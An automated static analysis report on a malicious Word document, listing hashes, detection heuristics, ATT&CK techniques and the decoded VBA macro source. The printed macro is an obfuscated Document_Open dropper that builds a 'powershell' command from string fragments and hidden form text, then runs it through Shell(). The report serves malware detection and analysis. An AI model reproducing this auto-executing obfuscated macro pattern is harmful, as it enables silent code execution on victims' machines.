Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c9d839e7d59cdc4a…

MALICIOUS

Office (OLE)

266.0 KB Created: 2019-02-05 12:06:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: ddc967f0053b83ac5c0bbb8a19634f3a SHA-1: 8a096341793625a7496fee507915e914da956ebb SHA-256: c9d839e7d59cdc4adefa73a88d0027267c9d1ca5b41e156cc64e5115be7cf8c7
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains a VBA macro that is automatically executed upon opening the document (Document_Open). This macro utilizes the Shell() function, a critical heuristic firing, to execute a command. The script concatenates strings to form the command, but the exact payload is obfuscated. The primary function of this script appears to be downloading and executing a second-stage payload, indicated by the Shell() call and the 'critical' heuristic for its execution.

Heuristics 6

  • ClamAV: Doc.Malware.Generic-6846286-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6846286-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1564 bytes
SHA-256: d71508bef5a442885b6881f218cbad0efcacf6e15a283d38e92ecab571ef0881
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub Document_Open()


Dim QzAny As Long
QzAny = (10403 - 10400) * (6)
Dim W4B6qxvew(15 To 187) As String
W4B6qxvew(15) = "iHycAPl3i"
Call w("er")
End Sub

Attribute VB_Name = "OAwga"
Sub w(bPYKkN)
Dim rcNVqzm5i As String
rcNVqzm5i = eomiR
j3dVQsq = "SHE" & "LL "
rwCSFVMcb = "ow"
dXZaMJDH = bPYKkN
Dim JkT9fG
JkT9fG = wtVsPgWhX
Dim tR5Xi4t(14 To 105) As String
tR5Xi4t(14) = "HzKI2"
xmYL1n6C tAHiP8eV() & rwCSFVMcb & dXZaMJDH & j3dVQsq & lUoDVhPF5
End Sub

Attribute VB_Name = "bsY9RhaJO"
Public Function tAHiP8eV() As String
tAHiP8eV = "p"
End Function
Function xmYL1n6C(tJUH0)
xmYL1n6C = Shell(tJUH0, False)
End Function

Attribute VB_Name = "mXBLJCKz"
Public Function lUoDVhPF5()
Dim PD8OBXE7 As String
PD8OBXE7 = baniFG
Dim tmZnC(5 To 177) As Long
tmZnC(5) = 9310 / 133
Dim Yez9Jr As Object
Set Yez9Jr = New f
Dim Ci8WA7J1K As String
Ci8WA7J1K = Yez9Jr.de.Text
lUoDVhPF5 = Ci8WA7J1K
End Function

Attribute VB_Name = "f"
Attribute VB_Base = "0{9B792AC3-0C2F-4F38-AF26-6CE8A5368403}{D26881C2-0E74-4161-B166-F77EB769E5D8}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False